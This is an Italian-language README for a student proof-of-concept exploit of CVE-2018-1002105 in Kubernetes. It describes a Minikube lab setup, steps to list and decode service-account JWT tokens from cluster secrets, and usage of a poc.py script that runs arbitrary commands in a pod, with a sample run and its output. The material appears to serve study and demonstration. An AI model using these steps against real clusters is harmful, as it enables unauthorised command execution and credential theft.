
Proof-of-concept exploit per CVE-2018-1002105, una vulnerabilità di escalation dei privilegi in Kubernetes che consente l'esecuzione non autorizzata di comandi nei pod tramite kube-apiserver.
Membri: Abhishek Rungta, Shubham Saini, Siddhant Sood
Abbiamo fornito un'immagine VirtualBox (file .ova). Scaricala e crea una VM da essa. L'OVA fornita è preconfigurata con Docker v18.09 e Minikube v1.9.0.
Poiché la nostra immagine virtuale ha già Minikube e le versioni Kubernetes richieste, esegui semplicemente il seguente comando per avviare Minikube
minikube start --kubernetes-version=v1.12.2
Crea un nuovo utente e un namespace e assegna il ruolo RBAC all'utente creato utilizzando il seguente comando.
kubectl apply -f fixing_policy.yml
kubectl edit configmaps kube-proxy --namespace=kube-system
Cambia il valore di maxPerCore a 0
Per prima cosa esegui il seguente comando per ottenere tutti i token JWT memorizzati nel sistema
kubectl get secrets -A
Per ottenere il segreto dell'utente specifico creato, esegui il seguente comando:
kubectl -n [namespace] get secrets [user-token] -o json
Quindi decodificalo in base64.
export TOKEN=$(echo TOKEN | base64 -d)
echo $TOKEN
kubectl cluster-info
kubectl run --image=nginx:alpine securenginx -n poc
Specifica tutti gli argomenti richiesti:
-t per il target> ip:porta (obbligatorio)
-j per il token JWT dell'utente (obbligatorio)
-p per il pod (obbligatorio)
-n per il namespace
-m per il metodo (obbligatorio)
-c per il contenitore
-x per il comando dell'attaccante
Input
./poc.py -t [IP:Port] -j [token] -p [pod] -n [namespace] -m attach -x "command"
./poc.py -t 127.0.0.1:32768 -j $TOKEN -p securenginx -m attach -n poc -x "ifconfig eth0"
Output
eth0 Link encap:Ethernet HWaddr 02:42:AC:11:00:02
inet addr:172.17.0.2 Bcast:172.17.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1313 errors:0 dropped:0 overruns:0 frame:0
TX packets:1224 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:217603 (212.5 KiB) TX bytes:428778 (418.7 KiB)
{"metadata":{},"status":"Success"}
Video della demo link